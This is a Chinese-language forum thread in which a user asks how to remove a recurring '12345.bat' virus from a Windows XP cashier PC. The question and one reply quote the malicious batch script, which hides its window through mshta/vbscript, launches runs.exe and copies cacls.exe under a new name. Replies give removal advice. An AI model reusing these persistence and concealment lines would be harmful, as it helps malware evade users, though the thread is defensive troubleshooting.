已解決電腦有12345.bat的病毒，刪不掉怎麼辦

提問者：中國好姑娘章雯 | 瀏覽次 | 提問時間：2017-02-07 | 回答數量：9

電腦有12345.bat的病毒，刪不掉怎麼辦新裝的才用兩個月的電腦，XP係統，上月初的時候用360查出有12345.bat病毒，之前在正常模式下查殺，重啟後又出現，後來進安全模式殺後重啟，這個病毒沒了，但過了幾天又出現，搜索了很多資料都沒有給出徹底解決的辦法。我這台電腦裝有SQL和收銀係統，不好重裝，求各路大神給個穩妥的解決辦法。病毒路徑為C:\WINDOWS\system32\wbem\12345.bat，用文本查看內容是這些(本人小白一個，看不懂) @echo off if "%1" == "h" goto begin mshta vbscript:createobject("wscript.shell").run("%~fs0 h",0)(window.close)&&exit :begin rem @echo off if exist C:\downs\runs.exe start C:\downs\runs.exe if exist C:\download\runs.exe start C:\download\runs.exe copy c:\windows\system32\cacls.exe c

已有9條答案

_花生醬_

回答數：35 | 被采納數：124

c:\windows\system32\wbem\se.bat
找到這個文件，用記事本打開，把內容發上來。

2017-02-07 13:06:45

讚 3

假裝挺帥滴0

回答數：95 | 被采納數：52

對呀，你不發上來誰能知道

2017-02-07 15:03:47

讚 9

wjj04

回答數：134 | 被采納數：138

新裝的才用兩個月的電腦，配置很老？
新電腦不用win7旗艦版，有點不合理。
重裝係統，可以排除多數病毒，如果想100%，格盤。

2017-02-07 14:31:35

讚 13

晉中學子

回答數：202 | 被采納數：139

看看組策略裏有沒有你說的那個名字！

2017-02-07 20:58:55

讚 20

妮妮lmr

回答數：102 | 被采納數：141

沒有這個文件啊，然後今天老出這個彈窗

(1)

(2)

2017-02-07 13:25:11

讚 10

晶晶月兒彎彎

回答數：94 | 被采納數：88

這個配置不算老吧，辦公用的求穩，因為裝了收銀係統，不好重裝

(3)

2017-02-08 03:12:05

讚 9

我是二馬哥

回答數：162 | 被采納數：7

查看啟動項，計劃任務及組策略中的計算機- 啟動用戶- 登錄是否有危險項目
這裏提到的幾個EXE文件都刪掉，
if exist C:\downs\runs.exe start C:\downs\runs.exe
if exist C:\download\runs.exe start C:\download\runs.exe
copy c:\windows\system32\cacls.exe c:\windows\help\akpls.exe /y

2017-02-08 00:44:36

讚 16